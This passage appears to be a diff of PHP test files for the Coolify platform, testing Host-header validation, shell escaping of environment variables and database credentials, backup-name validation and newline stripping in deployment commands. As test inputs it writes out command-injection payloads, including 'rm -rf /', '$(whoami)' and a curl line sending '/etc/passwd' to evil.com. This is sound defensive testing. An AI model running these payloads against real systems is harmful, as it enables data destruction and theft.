use App\Models\InstanceSettings;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Clear cache before each test to ensure isolation
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
});
|
||||
|
||||
it('trusts the configured FQDN from InstanceSettings', function () {
|
||||
// Create instance settings with FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('rejects password reset request with malicious host header', function () {
|
||||
// Set up instance settings with legitimate FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host should NOT be in the trusted hosts
|
||||
expect($hosts)->not->toContain('coolify.example.com.evil.com');
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles missing FQDN gracefully', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should still return APP_URL pattern without throwing
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('filters out null and empty values from trusted hosts', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => '']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should not contain empty strings or null
|
||||
foreach ($hosts as $host) {
|
||||
if ($host !== null) {
|
||||
expect($host)->not->toBeEmpty();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('extracts host from FQDN with protocol and port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com:8443']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles exception during InstanceSettings fetch', function () {
|
||||
// Drop the instance_settings table to simulate installation
|
||||
\Schema::dropIfExists('instance_settings');
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
|
||||
// Should not throw an exception
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('trusts IP addresses with port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IP addresses without port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://192.168.1.100']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('192.168.1.100');
|
||||
});
|
||||
|
||||
it('rejects malicious host when using IP address', function () {
|
||||
// Simulate an instance using IP address
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host attempting to mimic the IP should NOT be trusted
|
||||
expect($hosts)->not->toContain('65.21.3.91.evil.com');
|
||||
expect($hosts)->not->toContain('evil.com');
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IPv6 addresses', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://[2001:db8::1]:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// IPv6 addresses are enclosed in brackets, getHost() should handle this
|
||||
expect($hosts)->toContain('[2001:db8::1]');
|
||||
});
|
||||
|
||||
it('invalidates cache when FQDN is updated', function () {
|
||||
// Set initial FQDN
|
||||
$settings = InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://old-domain.com']
|
||||
);
|
||||
|
||||
// First call should cache it
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware->hosts();
|
||||
expect($hosts1)->toContain('old-domain.com');
|
||||
|
||||
// Verify cache exists
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
|
||||
// Update FQDN - should trigger cache invalidation
|
||||
$settings->fqdn = 'https://new-domain.com';
|
||||
$settings->save();
|
||||
|
||||
// Cache should be cleared
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
|
||||
|
||||
// New call should return updated host
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
expect($hosts2)->toContain('new-domain.com');
|
||||
expect($hosts2)->not->toContain('old-domain.com');
|
||||
});
|
||||
|
||||
it('caches trusted hosts to avoid database queries on every request', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache result
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify result is cached
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
|
||||
|
||||
// Subsequent calls should use cache (no DB query)
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
expect($hosts2)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('caches negative results when no FQDN is configured', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache empty string sentinel
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
|
||||
|
||||
// Subsequent calls should use cached sentinel value
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
// Should only contain APP_URL pattern, not any FQDN
|
||||
expect($hosts2)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('skips host validation for terminal auth routes', function () {
|
||||
// These routes should be accessible with any Host header (for internal container communication)
|
||||
$response = $this->postJson('/terminal/auth', [], [
|
||||
'Host' => 'coolify:8080', // Internal Docker host
|
||||
]);
|
||||
|
||||
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for terminal auth ips route', function () {
|
||||
// These routes should be accessible with any Host header (for internal container communication)
|
||||
$response = $this->postJson('/terminal/auth/ips', [], [
|
||||
'Host' => 'soketi:6002', // Another internal Docker host
|
||||
]);
|
||||
|
||||
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('still enforces host validation for non-terminal routes', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
// Regular routes should still validate Host header
|
||||
$response = $this->get('/', [
|
||||
'Host' => 'evil.com',
|
||||
]);
|
||||
|
||||
// Should get 400 Bad Host for untrusted host
|
||||
expect($response->status())->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for API routes', function () {
|
||||
// All API routes use token-based auth (Sanctum), not host validation
|
||||
// They should be accessible from any host (mobile apps, CLI tools, scripts)
|
||||
|
||||
// Test health check endpoint
|
||||
$response = $this->get('/api/health', [
|
||||
'Host' => 'internal-lb.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test v1 health check
|
||||
$response = $this->get('/api/v1/health', [
|
||||
'Host' => '10.0.0.5',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test feedback endpoint
|
||||
$response = $this->post('/api/feedback', [], [
|
||||
'Host' => 'mobile-app.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('trusts localhost when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('trusts 127.0.0.1 when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('127.0.0.1');
|
||||
});
|
||||
|
||||
it('trusts IPv6 loopback when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('[::1]');
|
||||
});
|
||||
|
||||
it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$response = $this->get('/', [
|
||||
'Host' => 'localhost',
|
||||
]);
|
||||
|
||||
// Should NOT be rejected as untrusted host (would be 400)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for webhook endpoints', function () {
|
||||
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
|
||||
// and use cryptographic signature validation instead of host validation
|
||||
|
||||
// Test GitHub webhook
|
||||
$response = $this->post('/webhooks/source/github/events', [], [
|
||||
'Host' => 'github-webhook-proxy.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test GitLab webhook
|
||||
$response = $this->post('/webhooks/source/gitlab/events/manual', [], [
|
||||
'Host' => 'gitlab.example.com',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test Stripe webhook
|
||||
$response = $this->post('/webhooks/payments/stripe/events', [], [
|
||||
'Host' => 'stripe-webhook-forwarder.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
@@ -88,11 +88,11 @@ it('filters out null environment variables from nixpacks build command', functio
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that only valid environment variables are included
|
||||
expect($envArgs)->toContain('--env VALID_VAR=valid_value');
|
||||
expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value');
|
||||
expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com');
|
||||
expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123');
|
||||
// Verify that only valid environment variables are included (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'");
|
||||
expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'");
|
||||
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'");
|
||||
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
|
||||
|
||||
// Verify that null and empty environment variables are filtered out
|
||||
expect($envArgs)->not->toContain('NULL_VAR');
|
||||
@@ -102,7 +102,7 @@ it('filters out null environment variables from nixpacks build command', functio
|
||||
|
||||
// Verify no environment variables end with just '=' (which indicates null/empty value)
|
||||
expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/');
|
||||
expect($envArgs)->not->toMatch('/--env [A-Z_]+= /');
|
||||
expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/");
|
||||
});
|
||||
|
||||
it('filters out null environment variables from nixpacks preview deployments', function () {
|
||||
@@ -164,9 +164,9 @@ it('filters out null environment variables from nixpacks preview deployments', f
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that only valid environment variables are included
|
||||
expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value');
|
||||
expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com');
|
||||
// Verify that only valid environment variables are included (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'");
|
||||
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'");
|
||||
|
||||
// Verify that null environment variables are filtered out
|
||||
expect($envArgs)->not->toContain('NULL_PREVIEW_VAR');
|
||||
@@ -236,6 +236,48 @@ it('handles all environment variables being null or empty', function () {
|
||||
expect($envArgs)->toBe('');
|
||||
});
|
||||
|
||||
it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () {
|
||||
// This test verifies the fix for GitHub issue #6830:
|
||||
// When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null
|
||||
// in generate_coolify_env_variables(). The generate_env_variables() method
|
||||
// merges these into env_args which become the nixpacks plan JSON "variables".
|
||||
// Nixpacks requires all variable values to be strings, so null causes:
|
||||
// "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string"
|
||||
|
||||
// Simulate the coolify env collection with null values (as produced when fqdn is null)
|
||||
$coolify_envs = collect([
|
||||
'COOLIFY_URL' => null,
|
||||
'COOLIFY_FQDN' => null,
|
||||
'COOLIFY_BRANCH' => 'main',
|
||||
'COOLIFY_RESOURCE_UUID' => 'abc123',
|
||||
'COOLIFY_CONTAINER_NAME' => '',
|
||||
]);
|
||||
|
||||
// Apply the same filtering logic used in generate_env_variables()
|
||||
$env_args = collect([]);
|
||||
$coolify_envs->each(function ($value, $key) use ($env_args) {
|
||||
if (! is_null($value) && $value !== '') {
|
||||
$env_args->put($key, $value);
|
||||
}
|
||||
});
|
||||
|
||||
// Null values must NOT be present — they cause nixpacks JSON parse errors
|
||||
expect($env_args->has('COOLIFY_URL'))->toBeFalse();
|
||||
expect($env_args->has('COOLIFY_FQDN'))->toBeFalse();
|
||||
expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse();
|
||||
|
||||
// Non-null values must be preserved
|
||||
expect($env_args->get('COOLIFY_BRANCH'))->toBe('main');
|
||||
expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123');
|
||||
|
||||
// The resulting array must be safe for json_encode into nixpacks config
|
||||
$json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT);
|
||||
$parsed = json_decode($json, true);
|
||||
foreach ($parsed['variables'] as $value) {
|
||||
expect($value)->toBeString();
|
||||
}
|
||||
});
|
||||
|
||||
it('preserves environment variables with zero values', function () {
|
||||
// Mock application with nixpacks build pack
|
||||
$mockApplication = Mockery::mock(Application::class);
|
||||
@@ -293,7 +335,7 @@ it('preserves environment variables with zero values', function () {
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that zero and false string values are preserved
|
||||
expect($envArgs)->toContain('--env ZERO_VALUE=0');
|
||||
expect($envArgs)->toContain('--env FALSE_VALUE=false');
|
||||
// Verify that zero and false string values are preserved (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'ZERO_VALUE=0'");
|
||||
expect($envArgs)->toContain("--env 'FALSE_VALUE=false'");
|
||||
});
|
||||
@@ -1,11 +1,54 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GithubApp;
|
||||
|
||||
it('treats zero private key id as deploy key', function () {
|
||||
$application = new Application();
|
||||
it('returns deploy_key when private_key_id is a real key', function () {
|
||||
$application = new Application;
|
||||
$application->private_key_id = 5;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns deploy_key when private_key_id is a real key even with source', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = 5;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5);
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns source when private_key_id is null and source exists', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = null;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
expect($application->deploymentType())->toBe('source');
|
||||
});
|
||||
|
||||
it('returns source when private_key_id is zero and source exists', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = 0;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0);
|
||||
|
||||
expect($application->deploymentType())->toBe('source');
|
||||
});
|
||||
|
||||
it('returns deploy_key when private_key_id is zero and no source', function () {
|
||||
$application = new Application;
|
||||
$application->private_key_id = 0;
|
||||
$application->source = null;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns other when private_key_id is null and no source', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(null);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
expect($application->deploymentType())->toBe('other');
|
||||
});
|
||||
@@ -81,3 +81,144 @@ test('database backup accepts legitimate database names', function () {
|
||||
expect(fn () => validateShellSafePath('test123', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- MongoDB collection name validation tests ---
|
||||
|
||||
test('mongodb collection name rejects command substitution injection', function () {
|
||||
expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects backtick injection', function () {
|
||||
expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects semicolon injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects ampersand injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects redirect injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
|
||||
// Valid MongoDB formats should pass
|
||||
expect(fn () => validateDatabasesBackupInput('mydb'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('all'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput rejects injection in collection names', function () {
|
||||
// Command substitution in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Backtick injection in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Semicolon in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
|
||||
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Credential escaping tests for database backup commands ---
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres password', function () {
|
||||
$maliciousPassword = '"; rm -rf / #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// The escaped value must be a single shell token that cannot break out
|
||||
expect($escaped)->not->toContain("\n");
|
||||
expect($escaped)->toBe("'\"; rm -rf / #'");
|
||||
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
|
||||
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
|
||||
expect($command)->toContain("PGPASSWORD='");
|
||||
expect($command)->not->toContain('PGPASSWORD=""');
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres username', function () {
|
||||
$maliciousUser = 'admin$(whoami)';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
|
||||
expect($escaped)->toBe("'admin\$(whoami)'");
|
||||
$command = "docker exec container pg_dump --username $escaped";
|
||||
// The $() should be inside single quotes, preventing execution
|
||||
expect($command)->toContain("--username 'admin\$(whoami)'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mysql password', function () {
|
||||
$maliciousPassword = 'pass" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
$command = "docker exec container mysqldump -u root -p$escaped db";
|
||||
// The password must be wrapped in single quotes
|
||||
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mariadb password', function () {
|
||||
$maliciousPassword = "pass'; whoami; echo '";
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// Single quotes in the value get escaped as '\''
|
||||
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
|
||||
$command = "docker exec container mariadb-dump -u root -p$escaped db";
|
||||
// Verify the command doesn't contain an unescaped semicolon outside quotes
|
||||
expect($command)->toContain("-p'pass'");
|
||||
});
|
||||
|
||||
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
|
||||
$maliciousUser = 'admin";$(whoami)';
|
||||
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
|
||||
|
||||
$encodedUser = rawurlencode($maliciousUser);
|
||||
$encodedPass = rawurlencode($maliciousPass);
|
||||
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
|
||||
|
||||
// Special characters should be percent-encoded
|
||||
expect($encodedUser)->not->toContain('"');
|
||||
expect($encodedUser)->not->toContain('$');
|
||||
expect($encodedUser)->not->toContain('(');
|
||||
expect($encodedPass)->not->toContain('@');
|
||||
expect($encodedPass)->not->toContain('/');
|
||||
expect($encodedPass)->not->toContain('?');
|
||||
expect($encodedPass)->not->toContain('&');
|
||||
|
||||
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
|
||||
$atCount = substr_count($url, '@');
|
||||
expect($atCount)->toBe(1);
|
||||
});
|
||||
|
||||
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
|
||||
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
|
||||
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousUrl);
|
||||
|
||||
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
|
||||
// The entire URI must be inside single quotes
|
||||
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
|
||||
expect($command)->toContain("evil.com #'");
|
||||
// No unescaped double quotes that could break the command
|
||||
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('strips newlines from pre_deployment_command before building sh -c wrapper', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\necho injected");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->not->toContain("\r")
|
||||
->and($exec)->toContain('echo hello echo injected')
|
||||
->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
|
||||
});
|
||||
|
||||
it('strips carriage returns from deployment command', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\r\necho injected");
|
||||
|
||||
expect($exec)->not->toContain("\r")
|
||||
->and($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain('echo hello echo injected');
|
||||
});
|
||||
|
||||
it('strips bare carriage returns from deployment command', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\recho injected");
|
||||
|
||||
expect($exec)->not->toContain("\r")
|
||||
->and($exec)->toContain('echo hello echo injected');
|
||||
});
|
||||
|
||||
it('leaves single-line deployment command unchanged', function () {
|
||||
$exec = buildDeploymentExecCommand('php artisan migrate --force');
|
||||
|
||||
expect($exec)->toContain("sh -c 'php artisan migrate --force'");
|
||||
});
|
||||
|
||||
it('prevents newline injection with malicious payload', function () {
|
||||
// Attacker tries to inject a second command via newline in heredoc transport
|
||||
$exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
// The entire command should be on a single line inside sh -c
|
||||
->and($exec)->toContain('harmless curl http://evil.com/exfil');
|
||||
});
|
||||
|
||||
it('handles multiple consecutive newlines', function () {
|
||||
$exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain('cmd1 cmd2');
|
||||
});
|
||||
|
||||
it('properly escapes single quotes after newline normalization', function () {
|
||||
$exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain("echo '\\''hello'\\''")
|
||||
->and($exec)->toContain("echo '\\''world'\\''");
|
||||
});
|
||||
|
||||
/**
|
||||
* Replicates the exact command-building logic from ApplicationDeploymentJob's
|
||||
* run_pre_deployment_command() and run_post_deployment_command() methods.
|
||||
*
|
||||
* This tests the security-critical str_replace + sh -c wrapping in isolation.
|
||||
*/
|
||||
function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
|
||||
{
|
||||
// This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
|
||||
$normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
|
||||
$cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
|
||||
|
||||
return "docker exec {$containerName} {$cmd}";
|
||||
}
|
||||
@@ -75,6 +75,55 @@ it('uses host paths for env-file when preserveRepository is true', function () {
|
||||
expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}");
|
||||
});
|
||||
|
||||
it('injects --project-directory with host path when preserveRepository is true', function () {
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$containerWorkdir = '/artifacts/deployment-uuid';
|
||||
$preserveRepository = true;
|
||||
|
||||
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
|
||||
|
||||
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
|
||||
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
|
||||
}
|
||||
|
||||
// When preserveRepository is true, --project-directory must point to host path
|
||||
expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}");
|
||||
expect($customStartCommand)->not->toContain('/artifacts/');
|
||||
});
|
||||
|
||||
it('injects --project-directory with container path when preserveRepository is false', function () {
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$containerWorkdir = '/artifacts/deployment-uuid';
|
||||
$preserveRepository = false;
|
||||
|
||||
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
|
||||
|
||||
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
|
||||
